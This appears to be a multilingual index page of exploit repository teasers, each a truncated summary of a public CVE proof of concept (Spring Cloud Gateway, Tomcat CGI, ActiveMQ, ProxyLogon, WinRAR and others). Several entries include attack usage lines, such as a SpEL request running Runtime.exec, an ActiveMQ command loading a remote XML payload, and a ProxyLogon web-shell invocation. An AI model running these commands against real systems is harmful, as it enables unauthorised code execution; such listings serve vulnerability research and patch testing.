spring-cloud-gateway-rce

Execução de Comando por Injeção de Expressão SpEL na API Actuator do Spring Cloud Gateway CVE-2022-22947 1.Instalação root@kitploit: pip3 install -r requirements.txt 2.Uso root@kitploit: $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ ||...

CVE-2019-0232

استغلال CVE-2019-0232 تنفيذ التعليمات البرمجية عن بُعد RCE في CGI Servlet – Apache Tomcat على Windows المرجع : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/ root@kitploit: Apache Tomcat has a vulnerability in t...

CVE-2021-42694

CVE-2021-42694 Este script implementa uma ferramenta de detecção de homoglifos Homoglyph, principalmente para detectar a possível vulnerabilidade CVE-2021-42694 no código. Deixe-me explicar detalhadamente suas principais funcionalidades: Funcionalidades principais: Detectar ataques de substituiçã...

CVE-2021-24499

CVE-2021-24499 Exploração em massa de CVE-2021-24499, upload não autenticado levando à execução remota de código no tema Workreap. As ações AJAX workreapawardtempfileuploader e workreaptempfileuploader não realizavam verificações de nonce, nem validavam de qualquer outra forma que a solicitação...

CVE-2024-5452

CVE-2024-5452 01. Visão geral do RCE e pytorch-lightning 1 Visão geral do RCE e pytorch-lightning RCE Remote Code Execution, Execução Remota de Código é uma vulnerabilidade que permite a um invasor executar código arbitrário remotamente dentro de um sistema ou aplicação, e é CWE-94: Improper...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Visão geral do Apache ActiveMQ e OpenWire O ActiveMQ é um broker que inclui clientes que suportam JMS, permitindo comunicação entre sistemas que utilizam diversas linguagens, não apenas Java. Além disso, é um servidor de padrões de mensagens e...

CVE-2021-21985_PoC

भेद्यता विवरण VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE CVE-2021-21985 vSphere क्लाइंट HTML5 में vCenter सर्वर प्लगइन में एक रिमोट कोड निष्पादन भेद्यता है। पोर्ट 443 तक नेटवर्क पहुंच वाला एक दुर्भावनापूर्ण अभिनेता इस मुद्दे का शोषण करके vCenter सर्वर को होस्ट करने वाले अंतर्निहित...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp ثغرة تافهة، مجرد تسجيل. 1. تشغيل redis، المنفذ 27017 2. تشغيل المشروع، springboot يعمل على المنفذ 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip,...

CVE-2021-41773

CVE-2021-41773 الاستخدام root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py ما هو CVE-2021-41773؟ CVE-2021-41773 ثغرة اجتياز الدليل في Apache HTTP Server 2.4.49. تحدث...

CVE-2025-6218-POC

CVE-2025-6218 Prova de Conceito POC Visão Geral Este repositório contém uma Prova de Conceito POC simples para CVE-2025-6218 , demonstrando a exploração de uma vulnerabilidade envolvendo o tratamento de caminhos de extração de arquivos pelo WinRAR. O script batch da POC cria um arquivo ZIP que...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC Este script de prova de conceito demonstra como explorar a CVE-2024-4323, uma vulnerabilidade de corrupção de memória no Fluent Bit, que permite execução remota de código. A CVE-2024-4323 é uma vulnerabilidade de corrupção de memória nas versões 2.0.7 a 3.0.3 do Fluent...

CVE-2022-22947

Spring Cloud Gateway 3.0.7 и 3.1.1 Внедрение кода RCE CVE: CVE-2022-22947 CVSS: 10.0 Vmware - https://tanzu.vmware.com/security/cve-2022-22947 Приложения, использующие Spring Cloud Gateway, уязвимы к атаке внедрения кода, когда конечная точка Gateway Actuator включена, доступна и не защищена...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le...

ProxyLogon

بروكسي لوجون إثبات المفهوم الأصلي: https://github.com/testanull طريقة الاستخدام: python proxylogon.py مثال: python proxylogon.py primary [email protected] إذا نجحت، سيتم إسقاطك في ويب شيل. استخدم exit أو quit للخروج من الويب شيل أو ctrl+c سيتم إنشاء ملف test.aspx افتراضيًا. يمكن تغيير هذا...

CVE-2023-30547

CVE-2023-30547 vm2 é uma sandbox que pode executar código não confiável com módulos integrados do Node na lista de permissões. Existe uma vulnerabilidade na sanitização de exceções do vm2 para versões até 3.9.16, permitindo que invasores gerem uma exceção de host não sanitizada dentro de...

ioctlance

IOCTLance Descrição Apresentado no CODE BLUE 2023, este projeto intitulado Enhanced Vulnerability Hunting in WDM Drivers with Symbolic Execution and Taint Analysis apresenta o IOCTLance, uma ferramenta que melhora sua capacidade de detectar vários tipos de vulnerabilidades em drivers do Modelo de...

CVE-2021-26700

CVE-2021-26700 नोट: यह मैनुअल केवल DSNS लैब के सदस्यों के लिए मान्य है। परिचय यह एक रिमोट कोड एक्ज़ीक्यूशन RCE भेद्यता है जो Visual Studio Code VS Code के npm नामक एक एक्सटेंशन में मौजूद थी, जिसे Microsoft द्वारा विकसित किया गया था और इसका उद्देश्य package.json फ़ाइल में परिभाषित npm स्क्रिप्ट को...

DockSec

...

CVE-2024-34832

CubeCart - निर्देशिका ट्रैवर्सल से RCE हो सकता है CVE-2024-34832 TL;DR एडमिन पैनल में, g और node जैसे पैरामीटर का उपयोग .inc.php फ़ाइलों को शामिल करने और PHP कोड निष्पादित करने के लिए पथ बनाने में किया जाता है। सर्वर पर कहीं भी .inc.php फ़ाइलें अपलोड करने में सक्षम एक दुर्भावनापूर्ण उपयोगकर्ता पथ...

CVE-2025-6335

Title: Vulnerabilidade de execução de comandos por injeção de template no dedeCMS 5.7 sp2 BUGAuthor: Ewoji Affected Version: dedeCMS 5.7.2 Vendor: Shanghai Zhuozhuo Network Technology Co., LTD Software: dedeCMS Vulnerability Files: /include/dedetag.class.php Descrição: 1. Após a instalação, faça...